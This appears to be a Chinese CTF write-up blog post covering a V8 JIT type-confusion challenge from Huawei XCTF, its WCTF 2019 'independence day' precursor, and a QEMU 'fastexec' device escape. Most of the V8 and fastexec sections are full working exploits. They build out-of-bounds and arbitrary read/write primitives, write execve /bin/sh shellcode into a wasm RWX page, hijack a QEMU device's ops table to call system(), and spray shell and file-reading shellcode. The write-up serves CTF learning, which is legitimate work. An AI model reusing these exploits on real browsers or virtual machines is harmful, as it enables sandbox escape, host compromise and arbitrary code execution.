华为XCTF 第三场 v8
很幸运又一次抢到了一血
patch文件和wctf的indepence_day差不多，所以原理部分就分析WCTF那题
主要涉及map的stable和unstable
利用过程：
利用漏洞更改另一个Array的size
在Array后面布置obj和ArraryBuffer
设置Addrof和任意地址读写原语
利用wasm来getshell
脚本
const MAX_ITERATIONS = 10000;
var max_size = 1020*4;
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var uint32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64-bit unsigned integer to Floating point
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function f2half(val)
{
float64[0]= val;
let tmp = Array.from(uint32);
return tmp;
}
function half2f(val)
{
uint32.set(val);
return float64[0];
}
// 64-bit unsigned integer to hex
function hex(i)
{
return "0x"+i.toString(16).padStart(16, "0");
}
function wasm_func() {
var wasmImports = {
env: {
puts: function puts (index) {
print(utf8ToString(h, index));
}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
return m.exports.hello;
}
// wasm obj
func = wasm_func();
//%DebugPrint(func);
//%SystemBreak();
// gc function to move data to old space
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}
arr = [1.1, 1.2, 1.3,1.4];
/* make the map stable */
arr.x = 2;
//var oob_array = [1.1,2.2];
//%DebugPrint(arr);
//%DebugPrint(oob_array);
//%DebugPrint(obj_array);
//%DebugPrint(big_uint_array);
//%SystemBreak();
// write back, form the oob_arr now
console.log(half2f(0x20200000n));
function foo1(idx) {
for(let i = 0; i < 10000; i++);
/* when accessing the global array, TurboFan will insert a StableMap
* dependency instead of a CheckMaps node. Since we disabled dependencies
* this will turn into an OOB write. */
arr[idx] = 4.063e-320;
}
for (let i = 0; i < 1000; i++) {
foo1(0);
}
/* change arr to dictionary map */
arr[0x100000] = 1.23;
/* allocate array to corrupt behind dictionary */
let oob_array = [1.1, 1.2, 1.3, 1.4];
var obj_array = {m:0xdead, n:func};
var big_uint_array = new BigUint64Array(6);
big_uint_array[0] = 0x1234n;
big_uint_array[1] = 0x5678n;
/* overwrite corrupt's backing store length */
foo1(33);
//%DebugPrint(arr);
//%DebugPrint(corrupt);
console.log(oob_array.length);
var float_object_idx = 0;
for(let i=0; i<max_size/2; i++) {
if(f2half(oob_array[i])[1] == 0xdead<<1) {
float_object_idx = i + 1;
print("[+] float idx of object is: "+hex(float_object_idx));
break;
}
}
// looking for the idx of big uint array
var float_array_big_base_idx = 0;
var float_array_big_external_idx = 0;
var floag_array_big_len_idx = 0;
for(let i=0; i<max_size/2; i++) {
if(f2i(oob_array[i]) == 0x1234n) {
float_array_big_len_idx = i+10;
float_array_big_external_idx = i + 11;
float_array_big_base_idx = i + 12;
print("[+] float idx of big uint array len is: "+hex(float_array_big_base_idx));
print("[+] float idx of big uint array base addr is: "+hex(float_array_big_base_idx));
print("[+] float idx of big uint array external addr is: "+hex(float_array_big_external_idx));
break;
}
}
function Addr_of(obj)
{
obj_array.n = obj;
let addr = f2half(oob_array[float_object_idx])[0];
return BigInt(addr)
}
var big_uint_array_len = f2i(oob_array[float_array_big_len_idx]);
var big_uint_array_base_ptr = f2i(oob_array[float_array_big_base_idx]);
var big_uint_array_external_ptr = f2i(oob_array[float_array_big_external_idx]);
var compress_heap_high_addr = big_uint_array_external_ptr & 0xffffffff00000000n;
print ("[+] heap high addr: " + hex(compress_heap_high_addr));
function In_heap_read64(addr)
{
oob_array[float_array_big_base_idx] = i2f(addr-0x8n);
let val = big_uint_array[0];
oob_array[float_array_big_base_idx] = i2f(big_uint_array_base_ptr);
return val;
}
function In_heap_write64(addr, val)
{
oob_array[float_array_big_external_idx] = i2f(addr-0x8n);
big_uint_array[0] = val;
oob_array[float_array_big_external_idx] = i2f(big_uint_array_external_ptr);
return;
}
function Byte_to_big_int_array(payload)
{
let sc = []
let tmp = 0n;
let len = BigInt(Math.ceil(payload.length/8))
for (let i = 0n; i < len; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
let c = payload[i*8n+j]
if(c === undefined) {
c = 0;
}
tmp += BigInt(c)*(0x1n<<(8n*j));
}
sc.push(tmp);
}
return sc;
}
function In_heap_write(addr, payload)
{
let sc = Byte_to_big_int_array(payload);
oob_array[float_array_big_len_idx] = i2f(sc.length);
oob_array[float_array_big_base_idx] = i2f(addr-0x8n);
for(let i = 0; i<sc.length; i+=i) {
big_uint_array[i] = sc[i];
}
oob_array[float_array_big_base_idx] = i2f(big_uint_array_base_ptr);
oob_array[float_array_big_len_idx] = big_uint_array_len;
}
function Arbitraty_write(addr, payload)
{
let sc = Byte_to_big_int_array(payload);
oob_array[float_array_big_len_idx] = i2f(BigInt(sc.length));
oob_array[float_array_big_base_idx] = i2f(0n);
oob_array[float_array_big_external_idx] = i2f(addr);
for(let i = 0; i<sc.length; i+=1) {
big_uint_array[i] = sc[i];
}
oob_array[float_array_big_len_idx] = big_uint_array_len;
oob_array[float_array_big_base_idx] = big_uint_array_base_ptr;
oob_array[float_array_big_external_idx] = big_uint_array_external_ptr;
}
// %DebugPrint(func);
var wasm_obj_addr = Addr_of(func);
print("[+] wasm obj addr: "+hex(wasm_obj_addr));
var shared_info_addr = In_heap_read64(wasm_obj_addr+0xcn)&0xffffffffn;
print("[+] wasm shared info addr: "+hex(shared_info_addr));
var wasm_exported_function_data_addr = In_heap_read64(shared_info_addr+4n)&0xffffffffn;
print("[+] wasm exported function aata addr addr: "+hex(wasm_exported_function_data_addr));
var instance_addr = In_heap_read64(wasm_exported_function_data_addr+0x8n)&0xffffffffn;
print("[+] instance addr addr: "+hex(instance_addr));
var rwx_addr = In_heap_read64(instance_addr+0x68n);
print("[+] rwx addr: "+hex(rwx_addr));
// %SystemBreak();
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
var shellcode = ['0x48', '0x31', '0xf6', '0x56', '0x48', '0xbf', '0x2f', '0x62', '0x69', '0x6e', '0x2f', '0x63', '0x61', '0x74', '0x57', '0x49', '0x89', '0xe1', '0x54', '0x5f', '0x56', '0x48', '0xc7', '0xc6', '0x66', '0x6c', '0x61', '0x67', '0x56', '0x49', '0x89', '0xe0', '0x6a', '0x0', '0x41', '0x50', '0x41', '0x51', '0x54', '0x5e', '0x6a', '0x3b', '0x58', '0x99', '0xf', '0x5']
var shellcode = ['0x48', '0x31', '0xf6', '0x56', '0x48', '0xbf', '0x2f', '0x62', '0x69', '0x6e', '0x2f', '0x2f', '0x73', '0x68', '0x57', '0x54', '0x5f', '0xb0', '0x3b', '0x99', '0xf', '0x5']
let sc = Byte_to_big_int_array(shellcode);
// %DebugPrint(big_uint_array);
// %SystemBreak();
Arbitraty_write(rwx_addr, shellcode);
func();
2019 WCTF independence day
0 环境搭建
git reset --hard c93858abcd73a4632db955392232ba1d1d21c3af
git apply < ..\d8-strip-globals.patch
git apply < ..\independence.patch
gclient sync
ninja -C out.gn/x64.release d8 8:19
1 背景知识
transition chain
我们知道js对象是含有map的，transition chain指的是map的变换过程
下面举一个例子来介绍（例子来自某大佬一篇文章）
const point = {};
point.x = 4;
point.y = 5;
point.z = 6;
对应的map变换过程
我的理解是
每进行一次赋值，就有一次map的变化（当然这里还有immutable和mutable的区别）
整个map变化的过程就是一个transition chain
stable map
首先推荐两篇关于stable map的文章
Project Zero: Trashing the Flow of Data (googleprojectzero.blogspot.com)
SSD Advisory – Chrome Turbofan Remote Code Execution
这里首先提一下map含有stable map和unstable map
前面讲过了transition chain，在transition chain的尾端就是stable map
下面举个例子
首先声明了一个对象，并用debugPrint打印了信息
之后进行了一次变换，再次打印信息
由于这是最后一次变化，所以这是transition chain的尾端节点，所以这是一个stable_map，上图中也可以看出
dependency
当一个Js对象的结构不符合JIT优化代码时，JIT代码就会进行deoptimized来防止类型混淆。v8中有两种方式来防止类型混淆
第一种是提供kCheckMaps节点，如果提供的map类型不符合，就会bails out
第二种当map所代表的结构发生变化，依赖于这个map的JIT代码会被标记为deoptimized，下一次调用的时候发生deoptimized
2 题目分析
patch脚本如下
第一个是将所有的install:Dependency代码注释了
diff --git a/src/objects/code.cc b/src/objects/code.cc
index 24817ca65c..4079f6077d 100644
--- a/src/objects/code.cc
+++ b/src/objects/code.cc
@@ -925,6 +925,7 @@ void DependentCode::InstallDependency(Isolate* isolate,
const MaybeObjectHandle& code,
Handle<HeapObject> object,
DependencyGroup group) {
+#if 0
Handle<DependentCode> old_deps(DependentCode::GetDependentCode(object),
isolate);
Handle<DependentCode> new_deps =
@@ -932,6 +933,7 @@ void DependentCode::InstallDependency(Isolate* isolate,
// Update the list head if necessary.
if (!new_deps.is_identical_to(old_deps))
DependentCode::SetDependentCode(object, new_deps);
+#endif
}
Handle<DependentCode> DependentCode::InsertWeakCode(、
第二个是将wasm禁用了
commit 3794e5f0eeee3d421cc0d2a8d8b84ac82d37f10d
Author: Your Name <you@example.com>
Date: Sat Dec 15 18:21:08 2018 +0100
strip global in realms
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 98bc56ad25..e72f528ae5 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1043,9 +1043,8 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate), v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);
主要还是在于第一个patch的分析，文件注释了install:dependency的全部内容
起初不清楚dependency机制，所以并不清楚应该如何继续
3 漏洞分析
正如前面背景知识介绍的，Dependency机制是Map检查的一种方式
首先分析一下Map检查机制
src/compiler/property-access-builder.cc中的关键Buildcheckmap相关函数
void PropertyAccessBuilder::BuildCheckMaps(
Node* receiver, Node** effect, Node* control,
ZoneVector<Handle<Map>> const& receiver_maps) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
MapRef receiver_map = m.Ref(broker()).map();
if (receiver_map.is_stable()) {<==========判断是不是stable_map
for (Handle<Map> map : receiver_maps) {
if (MapRef(broker(), map).equals(receiver_map)) {
dependencies()->DependOnStableMap(receiver_map);
return;<==========如果是stablemap就经过dependonstableMap处理然后返回
}
}
}
}
ZoneHandleSet<Map> maps;
CheckMapsFlags flags = CheckMapsFlag::kNone;
for (Handle<Map> map : receiver_maps) {
MapRef receiver_map(broker(), map);
maps.insert(receiver_map.object(), graph()->zone());
if (receiver_map.is_migration_target()) {
flags |= CheckMapsFlag::kTryMigrateInstance;
}
}
*effect = graph()->NewNode(simplified()->CheckMaps(flags, maps), receiver,
*effect, control);<==========如果不是stablemap就插入CheckMap节点
}
仔细阅读上面的源码部分，在BuildCheckMap的时候是两个分支，如果对应的obj是stableMap就经过DependOnStableMap处理然后返回，否则就插入CheckMap节点。
关于DependOnStableMap函数（src/compiler/compilation-dependencies.cc）
void CompilationDependencies::DependOnStableMap(const MapRef& map) {
if (map.CanTransition()) {
RecordDependency(new (zone_) StableMapDependency(map));<====调用
} else {
DCHECK(map.is_stable());
}
}
void CompilationDependencies::RecordDependency(Dependency const* dependency) {
if (dependency != nullptr) dependencies_.push_front(dependency);
}
这个函数调用RecordDependency函数，将Map值压入一个dependency_对象中
所以，如果是stableMap的话，会注册一个 compilation dependencies的回调到map中
而这里的patch文件
diff --git a/src/objects/code.cc b/src/objects/code.cc
index 1004180669..b032e456b9 100644
--- a/src/objects/code.cc
+++ b/src/objects/code.cc
@@ -943,18 +943,6 @@ void DependentCode::InstallDependency(Isolate* isolate,
const MaybeObjectHandle& code,
Handle<HeapObject> object,
DependencyGroup group) {
- if (V8_UNLIKELY(FLAG_trace_code_dependencies)) {
- StdoutStream{} << "Installing dependency of [" << code->GetHeapObject()
- << "] on [" << object << "] in group ["
- << DependencyGroupName(group) << "]\n";
- }
- Handle<DependentCode> old_deps(DependentCode::GetDependentCode(object),
- isolate);
- Handle<DependentCode> new_deps =
- InsertWeakCode(isolate, old_deps, group, code);
- // Update the list head if necessary.
- if (!new_deps.is_identical_to(old_deps))
- DependentCode::SetDependentCode(object, new_deps);
}
Handle<DependentCode> DependentCode::InsertWeakCode(
删除了install compile dependency部分的代码
这个DependentCode::InstallDependency函数（即patch取消的函数）
使得stableMap的dependency机制失效
如果我们使用一个stable map的arr，将不会有任何的类型检查，于是就有了一个type confusion。
4 POC 源码调试
poc.js
arr = [1.1, 2.2, 3.3,4.4];
// make the map stable
arr.x = 1;
function foo(idx) {
return arr[idx];
}
// optimize foo
for (i = 0; i < 100000; i++){
foo(1);
}
// change arr to dictionary map
arr[0x100000] = 5.5;
%SystemBreak();
console.log(foo(1000));
%SystemBreak();
由于我们创建了Stable_map对象，所以调试的时候会在对应的BuildCheckMap位置断下
之后又在stable_map的Install_dependency函数位置断下
由于Install_dependency函数被注释掉，所以这里相当于没有检查机制,所以就可以做很多……
华为XCTF 第一场fastexec
这题还是挺遗憾的，本地做的挺好，可惜远程传文件和cat flag一步出了问题（原来flag文件命名是flag_+一串字符串）血亏，这里我用的方法是hint中的注入shellcode
0x01 程序功能
一个mmio_write（其中含有一次越界写）
一个mmio_read
静态条件下，device的结构
动态条件下的结构
打印不出全部，因为size不够
0x02 题目漏洞与利用
漏洞
一次越界写
方法一
这个方法是haivk师傅做出来的，当时我在测试的时候没有弄好越界向上写，导致我认为只能够向下写，所以没有想到。
当时我是这样测试的
动态调试的时候
在set off那一步
程序传进来的数字不是64位的负1，而是32位的
这就导致下面的内存(exec,off,size,addr)
而结构体的位置+0xffffffff = 下面的位置（不是我们期待的上溢，而且也没用）
所以我认为没有上溢
实现
haivk师傅具体描述如下
可以考虑低字节写opaque，使得opaque设备对象向上移动，在内存里找到合适位置，使得opaque->execed为0，而其他字段有内容，这样，这可以利用设备的read函数，读取字段便可以泄露地址，而且由于opaque->execed为0，我们还可以再次进行任意地址写
最后，我们可以劫持设备MemoryRegion里的ops和opaque，其中ops为虚表，我们劫持到可控区，opaque为rdi，可以作为参数，最后调用设备read即可触发。由于本题是低字节覆盖，因此需要爆破4bit，多次几次就可以成功。
首先看看上溢出的实现
首先设置要写的字节是0xef88, 设置off为-0xc0 ，设置size 为2
对应的动态内存
set off的时候
对应的设置之后
后来明白了 编译用的32位（害人不浅）
重新64位编译成功….（吐了）
下面的就顺利写完了
step1
change opaque指针
0xf010 – > 0xef88
加上偏移之后的值
修改之后的fake_struct
此时进行mmio_read可以泄露exe_base
泄露base地址后
可以通过搜索然后交叉引用，一直找到plt表的system
step2
继续修改opaque_base
修改完base之后看一下内存
这次可以读取的是obj+off的一个地址
获得了obj的地址以便于下一步的伪造
step3
伪造obj结构进行提权
printf("obj_addr=0x%lx\n",obj_addr);
d[0] = obj_addr + 0x948;
d[1] = obj_addr + 0x950;
d[2] = system_addr;
char cmd[0x100] = "cat ";
char *f = argv[1];
int len = strlen(f);
strcat(cmd,f);
cmd[strlen(cmd)] = 0;
//劫持设备对象
memcpy(buffer+0x18,cmd,strlen(cmd)+1);
mem_read_write(buffer_phys_addr,-0x80,0x18 + strlen(cmd)+1);
对应的内存位置
Python>hex(0x00007f9d0acfefc8+0xa00-0x80)
0x7f9d0acff948L
对应的四个数字的含义(虚表+结构体+container?+size)
进行修改之后的数据
对应的含义
虚表位置改成了0x958也就是system的位置
对应的rdi就是结构体的位置（指向了size位置）
这样下次进行op操作就提权了
最终脚本
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#define PFN_MASK ((((size_t)1)<<54)-1)
char *mmio;
/*我们程序的缓冲在虚拟机里对应的物理地址*/
size_t buffer_phys_addr;
char *buffer;
void die(char *msg) {
perror(msg);
exit(-1);
}
//写设备内存
void mmio_write(uint64_t addr,uint64_t val) {
*((uint64_t *)(mmio + addr)) = val;
}
//读设备内存
uint64_t mmio_read(uint64_t addr) {
return *((uint64_t *)(mmio + addr));
}
void setPhyAddr(uint64_t val) {
mmio_write(24,val);
}
void setPos(uint64_t val) {
mmio_write(8,val);
}
void setLength(uint64_t val) {
mmio_write(16,val);
}
void mem_read_write(uint64_t phyAddr,uint64_t pos,uint64_t length) {
setPhyAddr(phyAddr);
setPos(pos);
setLength(length);
mmio_write(32,63021);
}
size_t get_phys_addr(char *vir_addr) {
int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/
if (fd == -1) {
die("open pagemap error");
}
size_t vir = (size_t)vir_addr;
// /0x1000获得是第n页的这个n，由于一个记录数据8字节，因此*8，算的的就是该页在文件里的记录的偏移
size_t offset = vir / 0x1000 * 8;
if (lseek(fd,offset,SEEK_SET) == -1) {
die("lseek pagemap error");
}
size_t addr;
if (read(fd,&addr,8) != 8) {
die("read pagemap error");
}
addr = (addr & PFN_MASK) * 0x1000;
return addr;
}
int main(int argc,char ** argv) {
//打开设备
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR);
if (fd == -1) {
die("open device error");
}
//映射设备内存
mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio == MAP_FAILED) {
die("mmap device memory error");
}
/*映射一块缓冲区*/
buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0);
if (buffer == MAP_FAILED) {
die("mmap local buffer error");
}
//必须锁住内存，才能准确获得物理地址
mlock(buffer, 0x1000);
//获得buffer的物理映射地址
buffer_phys_addr = get_phys_addr(buffer);
printf("buffer_phys_addr=0x%lx\n",buffer_phys_addr);
uint64_t *d = (uint64_t*)buffer;
size_t low = 0xf010 - 0x88;//0xf010每次都是 0xef88
buffer[0] = low & 0xff;
low = low >> 8;//移动一个字节
buffer[1] = low & 0xff;
mem_read_write(buffer_phys_addr,-0xc0,2);
size_t elf_base = mmio_read(16) - 0x31bd40;
size_t system_addr = elf_base + 0x2C2180;
printf("elf_base=0x%lx\n",elf_base);
printf("system_addr=0x%lx\n",system_addr);
//--------------------------------------------------------------------
low = 0xf010 - 0x48;//0xefc8
buffer[0] = low & 0xff;
low = low >> 0x8;
buffer[1] = low & 0xff;
mem_read_write(buffer_phys_addr,-0x38,0x2);//继续修改opqaue_base
size_t obj_addr = mmio_read(0x8) - 0x998;
printf("obj_addr=0x%lx\n",obj_addr);
//拼接cat flag_32jr.....
char cmd[0x100] = "cat ";
char *f = argv[1];
int len = strlen(f);
strcat(cmd,f);
cmd[strlen(cmd)] = 0;
//伪造obj
d[0] = obj_addr + 0x948;
d[1] = obj_addr + 0x950;
d[2] = system_addr;
memcpy(buffer+0x18,cmd,strlen(cmd)+1);
mem_read_write(buffer_phys_addr,-0x80,0x18 + strlen(cmd)+1);
mmio_read(0x66);
return 0;
};
方法二
观察到程序中有RWX断，并且根据内存分布，将off改大可以写到那个位置。
程序会自己执行到RWX段，所以利用一次写直接注入shellcode
首先观察到程序中含有RWX段，并且我实际尝试的时候在RWX段的某个位置下断点是可以断下来的，这个应该是一个什么机制吧（为什么能断下来我也没搞清楚）
上图一个对应的是RWX段，一个对应的是我们的fastexec设备（在这次运行中RWX段位于上方），可以看到这个RWX段size特别大，而其它的段size相对较小，所以如果我们越界写的off设置的足够大（比如我用了0xaff0000），而此时如果RWX段位于fastexec设备的下面，那么这次越界写，就会写到rwx段
至于上方下方这个问题，每次运行是随机顺序的，比如之后的一次运行，这两个段顺序就进行了互换
最终脚本
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define DMABASE 0x40000
char *userbuf;
uint64_t phy_userbuf;
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
uint64_t page_offset(uint64_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main()
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)//"/sys/devices/pci0000:00/0000:00:04.0/resource0"
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
// Allocate DMA buffer and obtain its physical address
userbuf = mmap(0, 0xb00000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
die("mmap");
mlock(userbuf, 0xb00000);
phy_userbuf=gva_to_gpa(userbuf);
printf("user buff virtual address: %p\n",userbuf);
printf("user buff physical address: %p\n",(void*)phy_userbuf);
// char * s = malloc(0x500);
unsigned char * nop = malloc(0x1000);
unsigned char *sh_x64_21="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";
// unsigned char *orw = "\x68\x66\x6C\x61\x67\x48\x89\xE7\x31\xF6\xB8\x02\x00\x00\x00\x0F\x05\x83\xF8\x00\x78\x1E\x89\xC7\x48\x89\xE6\xBA\x64\x00\x00\x00\x31\xC0\x0F\x05\x89\xC2\x48\x89\xE6\xB8\x01\x00\x00\x00\x89\xC7\x0F\x05\xEB\x29\x48\xB8\x6F\x70\x65\x6E\x20\x65\x72\x72\x48\x89\x04\x24\xB8\x6F\x72\x21\x0A\x48\x89\x44\x24\x08\x48\x89\xE6\xBF\x01\x00\x00\x00\xBA\x0C\x00\x00\x00\x89\xF8\x0F\x05\x31\xFF\xB8\xE7\x00\x00\x00\x0F\x05";
unsigned char * orw = "\x48\xB8\x65\x37\x66\x64\x33\x00\x00\x00\x50\x48\xB8\x33\x61\x65\x34\x38\x64\x66\x64\x50\x48\xB8\x37\x63\x30\x30\x36\x63\x64\x34\x50\x48\xB8\x61\x39\x62\x64\x33\x65\x62\x30\x50\x48\xB8\x66\x6C\x61\x67\x5F\x35\x65\x63\x50\x48\x89\xE7\x31\xF6\xB8\x02\x00\x00\x00\x0F\x05\x83\xF8\x00\x78\x1C\x89\xC7\x48\x89\xE6\xBA\x64\x00\x00\x00\x31\xC0\x0F\x05\x89\xC2\x48\x89\xE6\xB8\x01\x00\x00\x00\x89\xC7\x0F\x05\x48\xB8\x6F\x70\x65\x6E\x20\x65\x72\x72\x0F\x05";
memset(nop,'\x90',0xe30);
int i=0;
for(;i<255*11;i++)
{
memcpy(userbuf+i*0x1000,nop,0xe30);
memcpy(userbuf+0xe30+i*0x1000,sh_x64_21,112);
// printf();
}
// printf("%s\n",nop);
mmio_write(8, 0xaff0000);//0x539 0xb3e5f0 0x2936760 3？ 0x96f000
mmio_write(0x10, 0x90000+0x100);
mmio_write(0x18, phy_userbuf);
mmio_write(0x20, 0xF62D);
// uint64_t leak_stdout=*(uint64_t*)userbuf;
// printf("leaking stdout function: %p\n",(void*)leak_stdout);
return 0;
}
运行结果（这里如果师傅们想要调试，可能要改下shellcode，因为我的shellcode对应的文件名是flag_5eca9bd3eb07c006cd43ae48dfde7fd3）
0x03 操作
0.1 进行结构的创建
起初的样子
可以看到右击之后是有创建结构选项的（或者直接点击convert to struct*）
之后自动弹出了下面的东西
根据我们在local_type里面看到的结构进行修改
00000000 FastexecState struc ; (sizeof=0x100A00, align=0x10, copyof_4530)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009E0 execed dq ?
000009E8 offset dq ?
000009F0 size dq ?
000009F8 paddr dq ?
00000A00 buf db 1048576 dup(?)
00100A00 FastexecState ends
00100A00
修改之后的样子
0.2 调试方法
写这个是怕自己以后又忘了
首先左边 sudo ./launsh.sh启动机器
右边查看进程的pid
之后sudo gdb 进行进程的attach
下断点的方法
0x03 动态调试的时候看结构
效果图
首先我们知道了结构对应的内存地址
随便瞟一眼
之后根据local_type的结构提示
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
可以这样
同时还可以发现
0x04 pym 与 membuffer
用户态操作membuffer，cpu_mem_rw操作pym
一个virtual_mem一个物理地址，对应的同一篇内存
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR);
if (fd == -1) {
die("open device error");
}
//映射设备内存
mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio == MAP_FAILED) {
die("mmap device memory error");
}
/*映射一块缓冲区*/
buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0);
if (buffer == MAP_FAILED) {
die("mmap local buffer error");
}
//必须锁住内存，才能准确获得物理地址
mlock(buffer, 0x1000);
//获得buffer的物理映射地址
buffer_phys_addr = get_phys_addr(buffer);
printf("buffer_phys_addr=0x%lx\n",buffer_phys_addr);
0x04 参考
https://mp.weixin.qq.com/s/fkiFV7u3QjDsfHDcdwl6iA
0x05 总结
距离上一次qemu逃逸很久了，很多操作不是很熟悉了，重新学习，收获很多
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